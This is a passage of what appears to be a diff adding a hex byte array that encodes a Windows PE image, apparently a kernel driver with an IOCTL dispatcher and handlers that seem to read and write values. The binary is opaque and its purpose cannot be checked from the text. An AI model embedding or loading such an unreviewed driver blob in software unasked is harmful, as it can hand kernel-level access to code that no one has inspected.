0x00, 0x00, 0x00, 0x00, + 0xDC, 0x22, 0x5D, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x30, 0x5D, 0x00, 0xF8, 0x03, 0x00, 0x00, 0x00, 0x10, 0x5D, 0x00, 0x08, 0x04, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x08, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x61, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x15, 0x46, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, + 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xC0, 0x07, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, + 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0xC0, 0x9E, 0x5C, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, + 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x08, 0x04, 0x00, 0x00, 0x00, 0x10, 0x5D, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, + 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0xA8, 0x07, 0x00, 0x00, 0x00, 0x20, 0x5D, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0xE2, + 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0xF8, 0x03, 0x00, 0x00, 0x00, 0x30, 0x5D, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x53, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0xD9, 0x48, 0x8D, 0x0D, 0xA0, 0x37, 0x00, 0x00, 0xE8, 0x0B, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x15, 0x84, 0x37, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x69, 0x50, 0x00, 0x00, 0x48, + 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0xE6, 0x50, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x18, 0xFF, 0x15, 0xE7, 0x50, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x28, 0x37, 0x00, 0x00, 0xE8, 0xD3, 0x0E, 0x00, 0x00, 0x48, 0x83, 0xC4, + 0x30, 0x5B, 0xC3, 0x48, 0x8D, 0x0D, 0xC6, 0x36, 0x00, 0x00, 0xE8, 0xC1, 0x0E, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x0A, 0x37, 0x00, 0x00, 0xE8, 0xB5, 0x0E, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x30, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0x0D, 0xA3, 0x38, 0x00, 0x00, 0x48, 0x8B, 0xDA, 0xE8, 0x8B, 0x0E, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x74, 0x60, 0x00, 0x00, 0xE8, 0x1F, 0x0E, 0x00, + 0x00, 0x45, 0x33, 0xDB, 0x33, 0xD2, 0x48, 0x8B, 0xCB, 0x4C, 0x89, 0x5B, 0x38, 0x44, 0x89, 0x5B, 0x30, 0xFF, 0x15, 0x61, 0x4F, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x42, 0x38, 0x00, 0x00, 0xE8, 0x5D, 0x0E, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x83, 0xC4, + 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0x0D, 0xA3, 0x38, 0x00, 0x00, 0x48, 0x8B, 0xDA, + 0xE8, 0x2B, 0x0E, 0x00, 0x00, 0x45, 0x33, 0xDB, 0x33, 0xD2, 0x48, 0x8B, 0xCB, 0x4C, 0x89, 0x5B, 0x38, 0x44, 0x89, 0x5B, 0x30, 0xFF, 0x15, 0x0D, 0x4F, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xFE, 0x5F, 0x00, 0x00, 0xE8, 0xC9, 0x0D, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x42, 0x38, 0x00, 0x00, 0xE8, 0xFD, 0x0D, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x83, 0xEC, 0x28, 0x48, 0x8B, 0x82, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, 0x40, 0x48, 0x89, 0x7C, 0x24, 0x48, 0x48, 0x8B, 0x48, 0x20, 0x48, 0x8B, 0xFA, 0x8B, 0x50, 0x18, 0x48, 0x85, 0xC9, 0x74, 0x57, 0x81, 0xFA, 0x07, 0x20, + 0x86, 0x80, 0x74, 0x46, 0x81, 0xFA, 0x0B, 0x20, 0x86, 0x80, 0x74, 0x35, 0x81, 0xFA, 0x0F, 0x20, 0x86, 0x80, 0x74, 0x24, 0x81, 0xFA, 0x13, 0x20, 0x86, 0x80, 0x74, 0x13, 0x48, 0x8D, 0x0D, 0x65, 0x38, 0x00, 0x00, 0xBB, 0x0D, 0x00, 0x00, 0xC0, + 0xE8, 0x8B, 0x0D, 0x00, 0x00, 0xEB, 0x35, 0xE8, 0xF4, 0x2D, 0x00, 0x00, 0x8B, 0xD8, 0xEB, 0x2C, 0xE8, 0x7B, 0x01, 0x00, 0x00, 0x8B, 0xD8, 0xEB, 0x23, 0xE8, 0xA2, 0x08, 0x00, 0x00, 0x8B, 0xD8, 0xEB, 0x1A, 0xE8, 0xF9, 0x01, 0x00, 0x00, 0x8B, + 0xD8, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0xFE, 0x37, 0x00, 0x00, 0xE8, 0x59, 0x0D, 0x00, 0x00, 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x33, 0xD2, 0x48, 0x8B, 0xCF, 0x48, 0xC7, 0x47, 0x38, 0x00, 0x00, 0x00, 0x00, 0x89, 0x5F, 0x30, 0xFF, 0x15, 0x36, 0x4E, + 0x00, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x8B, 0x05, 0x0A, 0x5F, 0x00, 0x00, 0xC3, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x53, 0x4C, 0x8B, 0x19, 0x45, 0x32, 0xD2, 0x45, 0x33, 0xC0, 0x4D, 0x8B, 0xC8, 0x49, 0x8B, 0xC0, 0x48, 0x8D, 0x1D, 0x88, 0xEC, 0x5B, 0x00, 0x4C, 0x39, 0x1C, 0x18, 0x75, 0x0A, 0x80, 0xBC, + 0x18, 0x08, 0x01, 0x00, 0x00, 0x01, 0x74, 0x13, 0x48, 0x05, 0x10, 0x01, 0x00, 0x00, 0x49, 0xFF, 0xC1, 0x48, 0x3D, 0x00, 0x10, 0x01, 0x00, 0x72, 0xDF, 0xEB, 0x22, 0x84, 0xD2, 0x75, 0x1B, 0x49, 0x8B, 0xC1, 0x41, 0xB2, 0x01, 0x48, 0x69, 0xC0, + 0x10, 0x01, 0x00, 0x00, 0x44, 0x88, 0x84, 0x18, 0x08, 0x01, 0x00, 0x00, 0x4C, 0x89, 0x04, 0x18, 0xEB, 0x03, 0x45, 0x32, 0xD2, 0x49, 0x81, 0xF9, 0x00, 0x01, 0x00, 0x00, 0x75, 0x24, 0x80, 0xFA, 0x01, 0x75, 0x45, 0x49, 0x8B, 0xC8, 0x66, 0x90, + 0x48, 0x83, 0x3C, 0x19, 0x00, 0x74, 0x18, 0x48, 0x81, 0xC1, 0x10, 0x01, 0x00, 0x00, 0x49, 0xFF, 0xC0, 0x48, 0x81, 0xF9, 0x00, 0x10, 0x01, 0x00, 0x72, 0xE6, 0x41, 0x8A, 0xC2, 0x5B, 0xC3, 0x49, 0x81, 0xF8, 0x00, 0x01, 0x00, 0x00, 0x73, 0xF2, + 0x4D, 0x69, 0xC0, 0x10, 0x01, 0x00, 0x00, 0xB0, 0x01, 0x4D, 0x89, 0x1C, 0x18, 0x41, 0xC6, 0x84, 0x18, 0x08, 0x01, 0x00, 0x00, 0x01, 0x5B, 0xC3, 0x41, 0x0F, 0xB6, 0xC2, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x84, 0xD2, 0x0F, 0x44, 0xC1, 0x5B, 0xC3, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0x11, 0x4C, 0x8D, 0x05, 0xC6, 0xEB, 0x5B, 0x00, 0x33, 0xC9, 0x66, 0x66, 0x66, 0x90, 0x4A, 0x39, 0x14, 0x01, 0x75, 0x0B, 0x42, 0x80, + 0xBC, 0x01, 0x08, 0x01, 0x00, 0x00, 0x01, 0x74, 0x13, 0x48, 0x81, 0xC1, 0x10, 0x01, 0x00, 0x00, 0x48, 0x81, 0xF9, 0x00, 0x10, 0x01, 0x00, 0x72, 0xDF, 0x32, 0xC0, 0xC3, 0xB0, 0x01, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x48, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x85, 0xC9, 0x74, 0x72, 0x48, 0x8B, 0x01, 0x48, 0xFF, 0xC8, 0x74, 0x4E, 0x48, 0xFF, 0xC8, 0x74, 0x2C, 0x48, 0xFF, 0xC8, 0x74, 0x0B, 0xB8, 0x18, 0x20, 0x6A, 0xC8, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, + 0x48, 0x8D, 0x59, 0x10, 0x48, 0x85, 0xDB, 0x74, 0x44, 0x48, 0x8B, 0x4B, 0x08, 0xE8, 0x86, 0x2A, 0x00, 0x00, 0x89, 0x03, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x48, 0x8D, 0x59, 0x10, 0x48, 0x85, 0xDB, 0x74, 0x0C, 0x48, 0x8B, 0x4B, + 0x08, 0xE8, 0x7A, 0x2A, 0x00, 0x00, 0x88, 0x43, 0x04, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x48, 0x8D, 0x59, 0x10, 0x48, 0x85, 0xDB, 0x74, 0x0B, 0x48, 0x8B, 0x4B, 0x08, 0xE8, 0x4D, 0x2A, 0x00, 0x00, 0x89, 0x03, 0x33, 0xC0, 0x48, + 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x85, 0xC9, 0x48, 0x89, 0x5C, 0x24, 0x50, 0x48, 0x89, 0x7C, 0x24, + 0x58, 0x48, 0x8B, 0xF9, 0xBB, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x76, 0x05, 0x00, 0x00, 0x48, 0x8B, 0x01, 0x48, 0xFF, 0xC8, 0x48, 0x83, 0xF8, 0x3A, 0x0F, 0x87, 0x61, 0x05, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x0A, 0xEC, 0xFF, 0xFF, 0x8B, 0x84, + 0x81, 0x68, 0x19, 0x00, 0x00, 0x48, 0x03, 0xC1, 0xFF, 0xE0, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0x15, 0x08, 0x00, 0x00, 0x33, 0xDB, 0x88, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, + 0xC3, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0x06, 0x08, 0x00, 0x00, 0x33, 0xDB, 0x66, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xF6, 0x07, + 0x00, 0x00, 0x33, 0xDB, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x0F, 0xB6, 0x57, 0x20, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xE3, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x88, + 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x0F, 0xB7, 0x57, 0x20, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xD0, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x88, 0x47, 0x10, 0x8B, 0xC3, 0x48, + 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x8B, 0x57, 0x20, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xCE, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x88, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, + 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xBF, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x88, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, + 0x8B, 0x4F, 0x18, 0xE8, 0xC0, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x66, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xC0, 0x07, 0x00, 0x00, + 0x33, 0xDB, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x0F, 0xB6, 0x57, 0x20, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xBD, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x88, 0x47, 0x10, + 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x0F, 0xB7, 0x57, 0x20, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xBA, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x88, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, + 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x8B, 0x57, 0x20, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xB8, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x88, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, + 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x57, 0x20, 0x4C, 0x8D, 0x47, 0x28, 0x48, 0x8D, 0x4F, 0x18, 0xE8, 0x21, 0x15, 0x00, 0x00, 0x33, 0xDB, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, + 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x44, 0x8B, 0x47, 0x28, 0x48, 0x8B, 0x57, 0x20, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xFA, 0x0B, 0x00, 0x00, 0x33, 0xDB, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, + 0x83, 0xC4, 0x38, 0xC3, 0xE8, 0xCF, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x48, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0xE8, 0x53, 0x0E, 0x00, 0x00, 0x33, 0xDB, 0x48, + 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x8B, 0x4F, 0x10, 0xE8, 0x34, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, + 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x8B, 0x4F, 0x10, 0xE8, 0x89, 0x0D, 0x00, 0x00, 0x33, 0xDB, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xBD, + 0x09, 0x00, 0x00, 0x33, 0xDB, 0x48, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x8B, 0x57, 0x1C, 0x8B, 0x4F, 0x18, 0x33, 0xDB, 0x4C, 0x8D, 0x47, 0x20, 0x45, 0x33, + 0xC9, 0x89, 0x5C, 0x24, 0x20, 0xE8, 0x2E, 0x12, 0x00, 0x00, 0x48, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x4F, 0x10, 0x45, 0x33, 0xC0, 0x33, 0xD2, + 0xE8, 0x3B, 0x12, 0x00, 0x00, 0x33, 0xDB, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x4F, 0x18, 0x48, 0x85, 0xC9, 0x74, 0x1F, 0x4C, 0x8B, 0x47, 0x20, 0x8B, 0x57, 0x10, + 0xE8, 0xA3, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8D, 0x0D, 0x19, 0x34, 0x00, 0x00, 0xE8, 0x44, 0x08, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, + 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x4F, 0x18, 0x48, 0x85, 0xC9, 0x74, 0x25, 0x48, 0x8B, 0x57, 0x10, 0x48, 0x85, 0xD2, 0x74, 0x1C, 0x4C, 0x8B, 0x47, 0x20, 0xE8, 0x88, 0x07, 0x00, 0x00, + 0x33, 0xDB, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8D, 0x0D, 0x8E, 0x33, 0x00, 0x00, 0xE8, 0xF9, 0x07, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, + 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x4F, 0x18, 0x48, 0x85, 0xC9, 0x74, 0x25, 0x48, 0x8B, 0x57, 0x10, 0x48, 0x85, 0xD2, 0x74, 0x1C, 0x4C, 0x8B, 0x47, 0x20, 0xE8, 0x3D, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x8B, 0xC3, 0x48, + 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8D, 0x0D, 0x03, 0x33, 0x00, 0x00, 0xE8, 0xAE, 0x07, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, + 0xC4, 0x38, 0xC3, 0x4C, 0x8B, 0x47, 0x20, 0x48, 0x8B, 0x57, 0x10, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0xFC, 0x06, 0x00, 0x00, 0x33, 0xDB, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, + 0x8B, 0x4F, 0x18, 0xE8, 0x10, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0x11, 0x07, 0x00, 0x00, 0x33, + 0xDB, 0x89, 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x44, 0x8B, 0x47, 0x24, 0x8B, 0x57, 0x20, 0x48, 0x8B, 0x4F, 0x18, 0xE8, 0x0B, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x89, + 0x47, 0x10, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x83, 0xC7, 0x10, 0x74, 0x3F, 0x0F, 0xB6, 0x0F, 0xE8, 0xD7, 0x07, 0x00, 0x00, 0x33, 0xDB, 0x8B, 0xC3, 0x48, 0x8B, 0x7C, + 0x24, 0x58, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x38, 0xC3, 0x48, 0x83, 0xC7, 0x10, 0x74, 0x1E, 0x48, 0x8D, 0x4F, 0x04, 0xE8, 0xE5, 0x06, 0x00, 0x00, 0x33, 0xDB, 0x89, 0x07, 0x8B, 